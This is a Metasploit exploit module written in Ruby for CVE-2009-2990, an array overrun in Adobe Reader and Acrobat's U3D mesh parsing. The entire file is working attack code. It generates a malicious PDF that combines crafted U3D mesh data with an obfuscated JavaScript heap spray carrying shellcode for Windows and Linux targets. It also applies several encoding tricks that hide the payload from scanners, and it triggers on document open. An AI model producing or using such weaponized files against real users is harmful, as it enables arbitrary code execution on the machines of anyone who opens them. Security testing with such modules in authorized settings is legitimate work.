require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
'Description'=> %q{
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
specially crafted pdf that a contains malformed U3D data, an attacker may
be able to execute arbitrary code.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
'jduck'
],
'Version'=> '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2009-2990' ],
[ 'OSVDB', '58920' ],
[ 'BID', '36665' ],
[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'=>
{
'Space' => 1024,
'BadChars'=> "\x00",
'DisableNops' => true
},
'Targets'=>
[
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
{
'Index' => 0x01d10000,
'Platform' => 'win',
'Arch' => ARCH_X86,
'escA' => 0x0f0f0f0f,
'escB' => 0x16161616,
'escC' => 0x1c1c1c1c
}
],
[ 'Adobe Reader Linux Universal (JS Heap Spray)',
{
'Index' => 0xfffffe3c,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'escA' => 0x75797959,
'escB' => 0xa2a2a2a2,
'escC' => 0x9c9c9c9c
}
]
],
'DisclosureDate' => 'Oct 13 2009',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
], self.class)
end
def exploit
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nops= Rex::Text.to_unescape(make_nops(4))
ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
script = <<-EOF
var nopz = unescape("#{nops}");
function mkSlice(stringy,size,rest){
while (stringy.length <= size/2)
stringy += stringy;
stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
return stringy;
};
function spray(escA,escB,escC,escShellcode){
var loop1;
var pointersA = unescape(escA);
var pointersB = unescape(escB);
var pointersC = unescape(escC);
var shellcode = unescape(escShellcode);
pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
nop_slide = mkSlice(nopz,0x100000, shellcode.length);
var xarr = new Array();
for (loop1 = 0; loop1 < 400; loop1++) {
if(loop1<100)
xarr[loop1] = pointersA_slide+pointersA;
else if(loop1<200)
xarr[loop1] = pointersB_slide+pointersB;
else if(loop1<300)
xarr[loop1] = pointersC_slide+pointersC;
else
xarr[loop1] = nop_slide+shellcode;
}
return xarr;
};
var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
this.pageNum = 1;
EOF
script = obfuscate_js(script,
'Symbols' => {
'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
'Methods' => %W{ mkSlice spray }
}).to_s
u3d = make_u3d_stream(target['Index'], "E" * 11)
pdf = make_pdf(script, u3d)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def obfuscate_js(javascript, opts)
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
js.obfuscate
return js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj\n" % id
end
def ioRef(id)
"%d 0 R" % id
end
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def u3d_pad(str, char="\x00")
ret = ""
if (str.length % 4) > 0
ret << char * (4 - (str.length % 4))
end
return ret
end
def make_u3d_stream(index, meshname)
hdr_data = [1,0].pack('n*')
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
hdr = "U3D\x00"
hdr << [hdr_data.length,0].pack('VV')
hdr << hdr_data
decl_data = [meshname.length].pack('v')
decl_data << meshname
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0xc322].pack('V')
decl_data << [0x6226].pack('V')
decl_data << [0x24966].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [1].pack('V')
decl_data << [0].pack('V')
decl_data << [1].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0x6226].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0x3f0b1e6c].pack('V')
decl_data << [0x3b6f05a6].pack('V')
decl_data << [0x3b6f05a6].pack('V')
decl_data << [0x3c2df54a].pack('V')
decl_data << [0x3c2df54a].pack('V')
decl_data << [0x3f666666].pack('V')
decl_data << [0x3f000000].pack('V')
decl_data << [0x3f7c28f6].pack('V')
decl_data << [0].pack('V')
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
mesh_decl << decl_data
mesh_decl << u3d_pad(decl_data)
chain_data = [meshname.length].pack('v')
chain_data << meshname
chain_data << [1].pack('V')
chain_data << [0].pack('V')
chain_data << u3d_pad(chain_data)
chain_data << [1].pack('V')
chain_data << mesh_decl
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
modifier_chain << chain_data
cont_data = [meshname.length].pack('v')
cont_data << meshname
cont_data << [0].pack('V')
cont_data << [0].pack('V')
cont_data << [0x1000].pack('V')
cont_data << [index].pack('V')
cont_data << [0].pack('v')
cont_data << [0].pack('v')
cont_data << [0].pack('v')
cont_data << [0].pack('V')
cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
cont_data << "\xe9\x10\x9d\x6b\x06\x00"
cont_data << "\x50"
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
mesh_cont << cont_data
mesh_cont << "\xa2\x00"
data = hdr
data << modifier_chain
data << mesh_cont
data[24,4] = [0x2b680].pack('V')
if index == 0x01d10000
return data
end
hdr_data = [1,0].pack('n*')
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
meta_str1 = "alalala0"
meta_str2 = "\xa8" * 1024
hdr_meta = [1].pack('V')
hdr_meta << [meta_str1.length].pack('v')
hdr_meta << meta_str1
hdr_meta << [1].pack('V')
hdr_meta << [meta_str2.length].pack('V')
hdr_meta << meta_str2
hdr = "U3D\x00"
hdr << [hdr_data.length,hdr_meta.length].pack('VV')
hdr << hdr_data
hdr << hdr_meta
hdr << u3d_pad(hdr_meta)
decl_data = [meshname.length].pack('v')
decl_data << meshname
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0xc322].pack('V')
decl_data << [0x6626].pack('V')
decl_data << [4].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [1].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0x64].pack('V')
decl_data << [0x65].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0x12c].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
decl_data << [0].pack('V')
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
mesh_decl << decl_data
mesh_decl << u3d_pad(decl_data)
chain_data = [meshname.length].pack('v')
chain_data << meshname
chain_data << [1].pack('V')
chain_data << [0].pack('V')
chain_data << u3d_pad(chain_data)
chain_data << [1].pack('V')
chain_data << mesh_decl
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
modifier_chain << chain_data
cont_data = [meshname.length].pack('v')
cont_data << meshname
cont_data << [0].pack('V')
cont_data << [0].pack('V')
cont_data << [0x100].pack('V')
cont_data << [index].pack('V')
cont_data << [1].pack('V') * 10
cont_data << "Feli" * 20
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
mesh_cont << cont_data
mesh_cont << u3d_pad(cont_data)
data = hdr
data << modifier_chain
data << mesh_cont
data[24,4] = [0x174].pack('V')
return data
end
def make_pdf(js, u3d_stream)
xref = []
eol = "\x0a"
obj_end = "" << eol << "endobj" << eol
pdf = "%PDF-1.7" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << obj_end
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
pdf << nObfu("/Pages ") << ioRef(5)
pdf << nObfu("/OpenAction ") << ioRef(8)
pdf << nObfu(">>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
pdf << ioRef(9) << " "
pdf << ioRef(10)
pdf << nObfu("]>>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
pdf << "stream" << eol
pdf << u3d_stream << eol
pdf << "endstream"
pdf << obj_end
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
pdf << "/3D/3DA <</A/PO/DIS/I>>"
pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
xref << pdf.length
pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
pdf << nObfu(" >>")
pdf << obj_end
xref << pdf.length
pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
pdf << nObfu(">>")
pdf << obj_end
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end